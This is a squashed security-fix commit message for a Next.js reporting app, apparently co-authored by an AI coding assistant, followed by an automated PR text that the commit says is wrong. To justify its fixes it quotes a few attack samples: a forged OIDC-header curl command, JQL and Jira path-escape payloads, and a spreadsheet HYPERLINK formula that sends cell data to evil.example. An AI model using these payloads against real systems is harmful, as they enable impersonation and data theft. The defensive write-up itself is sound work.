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[Aikido] Upgrade Next.js to 15.2.0 to mitigate CVE-2025-66478 unauthenticated RCE - #78
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…6 — supersedes #78/#79/#80 (#81) * security(deps): upgrade Next.js to 16.3.8 and clear all production advisories Replaces Aikido AutoFix PR #78, which did not fix the vulnerability named in its own title and could not be installed at all. Why #78 was unusable: - It targeted next@15.2.0. The React-flight RCE it cited is patched on the 15.2 line only at 15.2.6; the advisory's affected range is >=15.2.0-canary.0 <15.2.6, so 15.2.0 is inside it. - Its lockfile recorded integrity sha512-PiZLhL... for next@15.2.0, which matches neither 15.2.0 (sha512-VaiM7s...) nor 15.1.3 (sha512-5igmb8...). The hash was not produced by an install, so `npm ci` aborts with EINTEGRITY and the Docker build cannot run. - It left 4 criticals and 12 highs open, and ADDED two highs whose affected ranges begin at 15.2.0 (App Router proxy bypass via segment-prefetch), which 15.1.3 was not subject to. - 15.x reaches end of security support on 2026-10-21 regardless. This change instead moves to 16.3.8 (Active LTS, supported to at least Oct 2027) via a real `npm install`, so every integrity hash is the one the registry serves. next 15.1.3 -> 16.3.8 (0 advisories; was 34) react 19.0.0 -> 19.3.0 mysql2 3.19.0 -> 3.24.5 (auth-plugin downgrade leaking plaintext credentials, GHSA-3f6p-5ww8-9rcr) uuid 11.1.0 -> 11.1.1 sharp 0.33.5 -> 0.35.5 (transitive; two libvips/libheif advisories) @aws-sdk/client-bedrock-runtime bumped to clear the fast-xml-parser chain csv-parse removed entirely — it was declared but imported nowhere, so it was pure attack surface (prototype pollution via the `columns` path) Production audit: 2 critical / 11 high -> 0 vulnerabilities. Full audit incl. dev: 1 low (esbuild, Windows-only dev server; not applicable). Next 16 migration surface in this repo is nil, verified before upgrading: no next/image import, no next/headers import, all dynamic route params already Promise-typed, no parallel routes, no custom webpack config, no `next lint`, no next/cache usage, no serverRuntimeConfig. Verified: tsc --noEmit clean, `next build` green under Turbopack (now the default), jest 184/197 suites passing — byte-identical to the pre-upgrade baseline. The 13 failing suites fail only because better-sqlite3 has no prebuilt binding for the local Node 26 ABI; they are unrelated to this change and are expected to pass in CI on Node 20/22. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * security(ci): least-privilege tokens, correct action pins, no script injection Replaces Aikido AutoFix PRs #79 and #80, keeping what they got right and fixing what they got wrong. What #79 got wrong — two of its five pins did not say what they claimed: actions/checkout@11bd71901bbe... is tagged v4.2.2, commented "# v5.2.2" actions/setup-node@39370e3970a6... is tagged v4.1.0, commented "# v5.1.1" Neither v5.2.2 nor v5.1.1 exists. It silently downgraded both actions across a major version while labelling them v5, and a false version comment defeats the one maintainability benefit pinning has. All five pins here were resolved from the upstream tag refs and verified to match their comments. What #80 left open: - test.yml had no `permissions:` block at all — that is the workflow which runs on `pull_request`, i.e. the fork-PR path, and it inherited the repository default token scope while building untrusted code. - build-and-push's checkout still persisted credentials. - The `${{ github.ref }}` script injection was untouched. Changes: - docker-publish.yml: `permissions: {}` at workflow level, so no job inherits anything; `contents: read` on test; `contents: read` + `packages: write` scoped to build-and-push only. - test.yml: `permissions: contents: read` (was absent). - persist-credentials: false on all three checkout steps, so the job token is not left in .git/config where pull-request code can read it. - All five actions pinned to verified full commit SHAs with accurate comments (checkout v5.1.0, setup-node v5.0.0, setup-buildx v3.12.0, login-action v3.7.0, build-push-action v6.19.2). - github.sha / github.event_name / github.ref are passed through `env:` instead of being interpolated into the tag-computation script. GitHub substitutes ${{ }} textually before bash runs, and github.ref derives from a branch name, which may contain quotes, backticks, $() or newlines — so a contributor-chosen branch name could execute commands in a job holding packages: write. - :latest is now published only when the built commit is still the head of main. Re-running an old run replays its SHA while event_name and ref both still read as a push to main, so the previous check let a rerun move :latest backwards onto superseded code. Verified: both files parse as YAML; 0 unpinned actions; 0 ${{ }} expressions inside any run block; all 3 checkouts set persist-credentials: false. CI itself cannot be exercised from here — these need a live run to confirm green, which is why no behavioural step (test command, Node version) changed in this commit. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * security(auth): verify the OIDC JWT signature instead of trusting the header extractUser() split the identity header on '.', base64-decoded segment one, JSON.parsed it, and trusted `email`, `sub` and `groups` verbatim. No signature check, no expiry, no issuer, no algorithm pinning. `x-amzn-oidc-data` is an ordinary HTTP header once it leaves the load balancer, so anything able to open a TCP connection to the app port was whichever identity, in whichever groups, it chose to claim: PAYLOAD=$(printf '{"email":"x@y","groups":["splunk-admin"]}' | base64) curl -X POST http://app:3000/api/report -H "x-amzn-oidc-data: e30.$PAYLOAD.sig" That forged header satisfied requireAdmin() and unlocked report deletion, schedule CRUD, Jira issue transitions and due-date writes, vulnerability syncs, and — because buildCostVisibility() short-circuits for admins — every developer's Claude spend. AWS documents signature verification as mandatory for this header for exactly this reason. The previous auth.test.ts built its tokens with the literal signature "fakesignature" and asserted extractUser ACCEPTED them, so the suite encoded the vulnerability as expected behaviour. cost-visibility.test.ts and is-admin.test.ts likewise relied on unsigned tokens resolving. All three now use real keys, and the central new case is that a tampered signature is refused. Verification (src/lib/auth.ts): - jose jwtVerify with the algorithm pinned from our side, so alg:none and HMAC-substitution are rejected rather than read out of the token. - Two modes, because this app sits behind two identity-injecting proxies: AUTH_ALB_REGION fetches one PEM per kid from public-keys.auth.elb.<region>.amazonaws.com (ALB publishes no JWKS document), and AUTH_JWKS_URL handles any standard JWKS endpoint. Keys are cached; the kid is pattern-checked first so it cannot steer the fetch off the AWS host. - exp/nbf enforced with 60s tolerance; iss enforced when AUTH_EXPECTED_ISS set. - Enabled but unconfigured denies every request and logs loudly, rather than falling back to trusting the header. - Returns null on any failure and never throws, so a key-fetch outage denies access instead of granting it. Fail closed (F-04). isAuthEnabled() was `=== 'true'`, so a dropped or misspelled env var silently turned isAdmin() into `true`, requireAdmin() into "not denied", and buildCostVisibility() into an omniscient predicate — no error, no log line. Unset now means enabled in production, and AUTH_ENABLED=false in production additionally requires AUTH_ALLOW_ANONYMOUS_ADMIN=true before admin routes open. validateEnv() now emits a startup banner whenever authentication is off at all, which it previously never did. Remove the production auth bypass (F-05). AUTH_TEST_ALLOW_IN_PRODUCTION let AUTH_TEST_USER fabricate an identity for every request under NODE_ENV=production, making a complete authentication bypass a documented, supported configuration — and docker-compose.yml passed it straight through, so any environment built from that template was one variable away from it. The flag is gone and the bypass is inert in production by construction; the compose file no longer forwards AUTH_TEST_* at all. Local flows should run a development build. extractUser() is async now (key fetch + verification). All six call sites updated: logger, cost-visibility, auth/me, mcp, skip-allowlist, vulnerability sync. isAdmin()/requireAdmin() are async too. jest.config.ts: jose is ESM-only with no CJS build, so it needs transforming and a transformIgnorePatterns entry — without both, every suite touching auth dies with "Cannot use import statement outside a module" pointing at jose/dist/webapi/index.js, which reads like a transform-config problem rather than an ESM one. Same shape as the existing @octokit entry. Verified: tsc --noEmit clean; next build green; 28 new auth tests pass including forged-signature, swapped-payload, alg:none, expired, unknown-kid and kid-path-escape cases; full suite 184/197 suites and 1861 tests passing — identical suite count to the pre-change baseline, with the 13 failures being better-sqlite3's missing native binding on the local Node 26 ABI. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * security(authz): deny-by-default request gate and org allowlist Authorization was opt-in per handler. Of 62 exported route handlers, 24 lived in files that referenced no auth function at all, so with nothing but network reach to the port a caller could read: /api/vulnerabilities/alerts the org's unpatched critical/high Dependabot alerts with SLA due dates — a prioritised, pre-verified target list /api/report, /api/report/[id]/{org,dev,commits,jira-issues} every developer's impact score and AI-usage % /api/settings/user-mappings the GitHub login <-> Jira email mapping table /api/developers?source=github the server's GitHub PAT, aimed at an attacker-chosen org POST /api/settings/github/test-connection every org that PAT can see POST /api/chat an LLM agent over seven DB query tools Two of the vulnerability route files even carried the comment "Readable by every signed-in user ... Do not add requireAdmin" — documenting a signed-in check that nothing in the request path performed. src/proxy.ts (Next 16 renamed this convention from `middleware`; its runtime is nodejs and cannot be configured, which is what lets it call extractUser and so verify a signature) now requires a verified identity for every path except /api/health. requireAdmin stays in the handlers: the gate establishes authentication, handlers enforce authorization. A new route can no longer ship unauthenticated by omission — the matcher is deliberately broad rather than an API path list. src/lib/orgs/guard.ts validates the caller-supplied `org`, which previously was checked against nothing on any of the ~14 routes that accept it: - A shape check runs regardless of configuration, because the value reaches GitHub API paths and org-scoped SQL. - ALLOWED_ORGS restricts which orgs this deployment will serve. Unset accepts any well-shaped name so existing single-org installs keep working; env-validation warns in that state. - Rejection is 404, not 403, and never echoes the submitted value, so the response does not confirm which orgs exist here. Wired into all 11 org-accepting handlers (query string and JSON body). chat/agent.ts now OVERWRITES fnArgs.org instead of defaulting it. The previous `if (!fnArgs.org)` let the model supply its own org, so a prompt-injected tool call could widen a query past the org the request was scoped to. POST /api/settings/github/test-connection is now admin-gated. It enumerates every organisation the PAT can reach, which makes it a credentialed reconnaissance primitive rather than a connectivity probe, and it was the only *_test-connection route without a gate. Scope note: this does not implement per-user tenancy — deciding which orgs a *particular* user may see needs a membership model (an OIDC group claim or an explicit table) and is a product decision, not something to invent in a security fix. What it does establish is that the reachable org set is the configured one rather than any string on the internet, which closes the credentialed-proxy problem outright and bounds cross-tenant reads to orgs an operator deliberately hosts together. Report lookups are still keyed on a global report id; see the PR description. Verified: tsc --noEmit clean; `next build` registers "ƒ Proxy (Middleware)"; 32 new tests across the gate and the guard; full suite 186/199 suites and 1893 tests passing, with the same 13 better-sqlite3 binding failures as baseline. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * security(injection): JQL, Jira REST path, stored XSS and CSV formula injection Four injection sinks, three of them reachable without credentials. 1. JQL injection (jira/client.ts:314). searchChildIssues built `"Epic Link" = ${epicKey} OR parent = ${epicKey} ORDER BY resolutiondate DESC` with no quoting or validation, and epicKey was the [key] path segment of GET /api/projects/[key]/stats and /summary. Because the interpolation was unquoted the value controlled query *structure*, not just a literal, so `X-1 OR project = HR` read across the whole Jira instance with the integration account's visibility and echoed the issues back in the response. Now validated by assertIssueKey and quoted — the same discipline jira-projects/jql.ts already applied to project keys and status names. 2. Jira REST path injection (jira/client.ts:261,275,290). getTransitions, transitionIssue and updateDueDate interpolated the same unvalidated, unencoded key into `/issue/${issueKey}/...`. Next decodes path segments, and the WHATWG URL parser normalises `..`, so a key of `..%2F..%2Fmyself` addressed an arbitrary Jira endpoint with these credentials. Each site now validates and encodeURIComponent's the key, and jiraFetch additionally refuses any path that does not resolve under /rest/api/<version>/ — a backstop that makes the whole class non-exploitable at the sink regardless of caller discipline. Note findUserByEmail already encoded its input, so the omission was inconsistent within the file rather than a house style. All four [key] routes also validate at the boundary, so a malformed key is a 400 rather than a 500 from inside the client, and never reaches a log line. 3. Stored XSS — four sinks (dev page:401, team page:469, chat-panel:272,276). Each pushed LLM narrative into dangerouslySetInnerHTML after a few markdown regexes, escaping nothing. The text derives from commit messages, PR titles, branch names and Jira summaries — writable by anyone who can push to a scanned repo — and the dev summary is persisted to developer_summaries, so one injection was replayed to every later viewer including admins, with no CSP to contain it and no CSRF token to stop the resulting script driving admin routes. Replaced by one SafeMarkdown component returning React elements, so text nodes are escaped by React and there is no path from a tag in the model's output to a tag in the DOM. It supports exactly the vocabulary those sites used (## heading, - bullet, **bold**, `code`, @mention). renderPulseMarkdown and formatInline are deleted. One shared renderer is the point: the prompt-side hardening was uneven precisely because every call site re-invented it. The remaining dangerouslySetInnerHTML in components/charts/chart.tsx is a CSS variable block whose identifiers go through cssIdent and which takes developer-supplied config, not untrusted input. 4. Spreadsheet formula injection in the CSV and Google Sheets exports (team page:113,142) — found by Aikido, missed by my own review. Quoting alone does not help: Excel, Sheets and LibreOffice evaluate a cell beginning =, +, -, @ or a tab/CR as a formula even when quoted. The exported Developer, Types and Active Repos columns are all attacker-influenced, and the team export is copied to the clipboard for pasting straight into a new Google Sheet, so `=HYPERLINK("https://evil.example?x="&A1,"click")` became a live formula in the recipient's spreadsheet. New lib/csv.ts prefixes a single quote on those leads and collapses CR/LF so a value cannot forge extra rows; both export paths use it. Verified: tsc --noEmit clean; next build green; 28 new tests covering the JQL payloads, the path-escape payloads and every formula lead; full suite 187/200 suites and 1921 tests passing, with the same 13 better-sqlite3 binding failures as baseline. jira-client.test.ts assertions updated because jiraFetch now passes a URL object so the base-path guard can inspect it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * security(disclosure): stop leaking secrets, debug surfaces and upstream errors 1. GET /api/llm-config had no auth gate and returned the full AppConfig: the last five real characters of GITHUB_TOKEN, LLM_API_KEY and SMARTLING_USER_SECRET; SMARTLING_ACCOUNT_UID and SMARTLING_USER_IDENTIFIER in full; the Jira host and service-account username; the LLM endpoint; and `missing[]`, which enumerates precisely which credentials are absent. src/app/page.tsx fetches this endpoint on every homepage load purely for `latestReport.org`, so the payload also reached every ordinary user's browser memory, devtools and HAR captures — not just deliberate callers. The response is now split: admins get the full config, everyone else gets provider/model/ready/vulnerabilities plus latestReport, which is all the homepage needs. maskSecret's `'xxxxx' + value.slice(-5)` is replaced by a truncated SHA-256 fingerprint. Five real characters are enough to confirm which token a deployment uses against a dump obtained elsewhere; a hash answers "is this the token I think it is?" and nothing else. The two Smartling identifiers are fingerprinted too — they are credential components, not display names, and with a leaked userSecret they authenticate directly against Smartling's auth-api. 2. Deleted /api/debug/headers and /debug/headers. The endpoint reflected every request header and base64-decoded both x-amzn-oidc-data and x-amzn-oidc-accesstoken, returning the decoded JOSE header and payload — all unauthenticated, in the production build, with the page labelled "Debug page — not linked from navigation", i.e. security by obscurity. Its practical value to an attacker was as a free oracle for validating a forged identity header before spending a request on a real route, and for learning whether they were reaching the app through the ALB or directly. 3. Raw upstream error text is no longer returned. Twelve handlers serialised err.message, and several of those messages embed an entire upstream response: jiraFetch threw `Jira API error (status): <full body>`, Octokit errors carry request URLs and rate-limit state, LLM errors carry the provider endpoint, model and quota detail. On the unauthenticated routes that was an oracle — most consequentially it turned the JQL injection into an interactive one, because Jira's own parse errors came back naming fields and positions. New lib/api-error.ts logs server-side and returns a stable `{ error: 'internal_error' }`, mirroring the policy mcp/tools.ts already documented. Authored messages stay: ReportNotFoundError, JiraNotConfiguredError, TeamDuplicateError and validation failures are contract, not leakage. jiraFetch additionally truncates the upstream body to 200 chars so even the admin-gated test-connection paths cannot echo a whole Jira response. /api/health no longer returns the GitHub fetch failure text, which could name the proxy, DNS or token state. Four test suites asserted the leaky behaviour and are rewritten as regression guards — they expected `Jira API error (403)` and `xxxxx12345` to reach the client, the same shape as auth.test.ts asserting that "fakesignature" was accepted. Verified: tsc --noEmit clean; next build green with no debug route in the manifest; logger-enforcement still passes; full suite 187/200 suites and 1922 tests passing, with only the 13 better-sqlite3 binding failures. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * security(runtime): non-root container on supported Node, plus security headers Container (Aikido CKV_DOCKER_3, sev 65): - USER node. The runner stage issued no USER directive, so `node server.js` ran as uid 0. With four critical unauthenticated-RCE advisories open against the shipped framework, any one of them started as root — free to backdoor server.js for persistence across restarts, apk add tooling, read /proc/1/environ, and attempt escapes that need privileged operations. Copies are --chown=node:node. - node:20-alpine -> node:22.23.3-alpine pinned by digest. Node 20 reached end of life on 2026-04-30, so the runtime had stopped receiving upstream security patches entirely — in a product whose purpose is tracking its customers' overdue CVEs. The digest also makes the build reproducible and stops a retagged upstream being consumed silently. - HEALTHCHECK added (previously only compose had one, so a bare `docker run` had no liveness signal). - Node version now agrees across .nvmrc, both workflows and the Dockerfile; they had drifted to 20 everywhere while Next 16 requires >=20.9. docker-compose.yml: - DB credentials were the literals glooker/glooker and rootpassword, not ${VAR} references, so they could not be overridden and would be used verbatim by anyone who ran the file — including as a staging template. Now `${VAR:?...}`, so compose refuses to start rather than starting with known credentials (verified: it errors without them). - Dropped `ports: 3307:3306` on MySQL. The app reaches it over the compose network; publishing it exposed a database whose password was in the file. - App port bound to 127.0.0.1. Publishing on all interfaces put an application whose auth defaulted to off onto the host's network. next.config.ts set no response headers at all. Added CSP, HSTS, X-Content-Type-Options, X-Frame-Options, Referrer-Policy, Permissions-Policy and COOP. Individually minor; together they are the layers that would have contained the stored-XSS sinks and the UI-redress variant of the missing CSRF defence. script-src is 'self' with no 'unsafe-inline' — that is the directive that actually blocks an injected handler. 'unsafe-inline' remains in style-src because Recharts and chart.tsx's CSS-variable block emit inline styles, and img-src allows avatars.githubusercontent.com because developer_stats.avatar_url is rendered throughout. Operators unsure of their asset set should deploy as Content-Security-Policy-Report-Only first. Verified: tsc --noEmit clean; next build green; 6 new header tests; full suite 188/201 suites and 1928 tests passing, only the 13 better-sqlite3 binding failures. The image itself could not be built or run here (no container runtime available), so `docker run --rm <image> id` returning uid=1000 still needs confirming in CI. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * security(logs): neutralise log injection and contain prompt-template paths logSafe() in logger.ts strips CR, LF, U+2028/U+2029 and control characters (including ANSI escapes) before a value is interpolated into a plaintext log line, and caps length. Five console.error sites interpolated the raw `[key]` route segment, three of them on unauthenticated routes, and Next delivers that segment URL-decoded — so a key containing %0A forged whole log entries, including plausible successful-authentication events, and ANSI escapes could corrupt a terminal-based review. Combined with the JQL injection on those same routes it also gave an attacker a way to bury their own probing in noise. Scope is deliberately the console stream only: requests.log and errors.log are written with JSON.stringify, which escapes newlines, so the structured audit record was never forgeable. That is why this is Low rather than Medium. The five `[key]` sites are already covered by this commit's companions — the route-boundary issue-key validation in the injection commit rejects CR/LF before any logging happens, and the error-handling commit removed the console.error calls that duplicated what internalError now logs. logSafe is applied where untrusted text still reaches a log line: report-runner's shared log(), which carries `org` and integration error text. prompt-loader.ts now resolves template paths and refuses anything outside PROMPTS_DIR. Every current call site passes a hardcoded literal, so Aikido's path-traversal finding there is a false positive today — but the function is safe by call-site discipline alone, and a future feature letting a user pick a template (plausible in a product that already exposes `promptsDir` through its settings API) would make it a real traversal with no change to this file. Four lines to make that structurally impossible instead of relying on review. Its not-found error no longer echoes the resolved absolute path either: two handlers used to return err.message to unauthenticated callers, so a PROMPTS_DIR misconfiguration would have disclosed the container's filesystem layout. Verified: tsc --noEmit clean; next build green; 8 new tests; full suite 189/202 suites and 1936 tests passing, only the 13 better-sqlite3 binding failures. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * security(auth): pin JWT algorithms on the JWKS branch too The ALB branch already passed `algorithms: ['ES256']`, but the AUTH_JWKS_URL branch passed none — so jose would accept whatever algorithm the JWKS document advertised, handing algorithm choice to the key document rather than to us. Now allowlisted (RS256,ES256 by default, overridable via AUTH_JWKS_ALGS). Also records why the "unsafe JWT decode" pattern does not apply to the decodeProtectedHeader call: it reads `alg`/`kid` only to select a signing key and to reject obviously-wrong algorithms early. jwtVerify is the authority and now carries an explicit allowlist on both paths, so a token lying about `alg` cannot influence what is actually accepted — the pre-filter can only reject, never admit. Worth stating in the file, because a scanner flagging this at severity 87 will come up again. next-env.d.ts and tsconfig.json are Next 16's own typegen output, written by `next build` during the upgrade (routes/root-params type references, jsx: preserve -> react-jsx, and the .next/dev/types include). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * compose: pass AUTH_ALLOW_ANONYMOUS_ADMIN and ALLOWED_ORGS through to the app Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> * fix(merge): await extractUser in the report route (async since the JWT verification change) Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> * security(csp): per-request nonce instead of a static script-src 'self' A static `script-src 'self'` blocks the inline scripts Next's App Router uses to bootstrap hydration (`self.__next_f.push(...)`, the RSC payload). In a real browser every page rendered as static HTML with no data and React error #412; curl-based checks can't see it. proxy.ts now mints a 128-bit nonce per request and sends `script-src 'self' 'nonce-…' 'strict-dynamic'` on both the request (Next stamps the nonce on its own scripts) and the response. An injected inline script still can't run — verified in headless Chrome under the same policy. The root layout calls `connection()` so pages render per request; a prerendered page would ship scripts without the request's nonce. The other security headers stay static in next.config.ts. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> * security(auth): verify the MCP sidecar's Okta access token as a second identity path Dev has two ways in: browsers through the ALB (signed x-amzn-oidc-data, AUTH_ALB_REGION) and MCP clients through mcp-okta-proxy. The sidecar used to inject an unsigned alg=none JWT into x-amzn-oidc-data, which signature verification correctly rejects — so with one verification mode, either the browser or MCP was locked out. The sidecar now forwards the caller's original, already-validated Okta access token in x-okta-access-token (mcp-okta-proxy 0.2.17, OKTA_MCP_PROXY_ACCESS_TOKEN_HEADER_NAME). extractUser verifies it against Okta's JWKS — RS256 pinned, issuer, audience, expiry, optional cid — and reads email/groups from Okta /userinfo with that token (Okta's org server omits them from access tokens), cached per token for at most 5 minutes and never past expiry. Any failure denies. The Okta token counts only on OKTA_TOKEN_PATHS (/api/mcp): proxy.ts strips the header from every other request via sanitizeIdentityHeaders, so a captured MCP token can't drive the UI. Config AUTH_OKTA_ISSUER + AUTH_OKTA_AUDIENCE (both, or the path is off; validateEnv errors on half-config), optional AUTH_OKTA_CLIENT_ID, JWKS/userinfo URLs derived from the issuer. Also: 401s from the gate now carry default-src 'none' (they had no CSP), and security-headers tests read the CSP from the proxy, where it now lives. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> * fix(db): one DB per process via globalThis — Next 16 loads the module twice and the boot migrations deadlocked Under Next 16 the db module is instantiated more than once per process, so each copy created its own pool and ran the boot ALTERs concurrently: 8 'Deadlock found' errors on a local boot (0 on main/Next 15 under the same load). On a new column that leaves it silently missing, since initSchema logs and continues. Same globalThis pattern as the progress and schedule stores; the shared promise also covers two first calls racing. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> * security(auth): address PR #81 review — pin ALB signer, require JWKS audience, harden key fetch Critical: the AWS key host serves signing keys for EVERY ALB in the region, so a valid ES256 signature only proved "some ALB signed this" — anyone with their own ALB + IdP in us-east-1 could mint an admin token. The ALB path now requires AUTH_ALB_ARN and rejects any token whose `signer` header differs, before any key fetch; AUTH_EXPECTED_ISS is mandatory there too. - JWKS path: AUTH_EXPECTED_ISS and AUTH_EXPECTED_AUD are both required, so a token the IdP issued for another app can't authenticate. - ALB key lookups (driven by an unverified kid): bounded cache, misses cached 60s, one shared in-flight fetch per kid — no unbounded outbound amplification. - Verified tokens are memoized (bounded, never past exp, at most 5 min), so the gate and every handler no longer re-verify, or re-call /userinfo. Deliberately not an internal trusted header, which would reintroduce header trust if the proxy matcher ever missed a path. - Okta MCP path: AUTH_OKTA_CLIENT_ID is required (the org audience is shared by every app in the tenant), and /userinfo's sub must equal the token's uid (Okta org server) or sub. - Production with AUTH_ENABLED=false now also needs AUTH_ALLOW_ANONYMOUS=true; otherwise the gate 503s everything but /api/health. - /api/chat: a malformed JSON body is a 400, not an unhandled 500. - validateEnv errors on every missing pin; docs, .env.example and compose updated. Tests: foreign signer (no key fetch), missing signer, missing ARN/issuer, cached key misses, shared in-flight fetch, bounded cache, memo hit and expiry; JWKS wrong audience/issuer and missing pins; production anonymous gate; a matcher test walking every route/page file; Okta cid required and /userinfo sub mismatch; chat malformed body. The foreign-signer test fails without the fix. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> * fix(config): give non-admins the Jira fields the UI reads (Projects link, issue links) The public /api/llm-config payload (everyone except admins) dropped `jira` entirely, so for every viewer the Projects nav link disappeared and developer pages lost their Jira issue links. Viewers now get jira.enabled, jira.host (already visible in every issue link) and a new boolean jira.projectsEnabled — never the JQL, the service-account username or which credentials are missing. NavBar reads projectsEnabled, which both payloads carry. Tests pin the fields, the absence of each secret, and the NavBar showing/hiding Projects from a viewer's config. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> Co-authored-by: msogin <msogin@users.noreply.github.com>
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This patch addresses CVE-2025-66478, an unauthenticated remote code execution vulnerability in Next.js React Server Components present in version 15.1.3. The vulnerability has been mitigated by upgrading Next.js to version 15.2.0, which includes the necessary security fixes. The dependency updates were applied to both package.json and package-lock.json to ensure consistent dependency resolution across environments.
✅ 1 issue fixed by this PR, including 1 critical 🚨 issue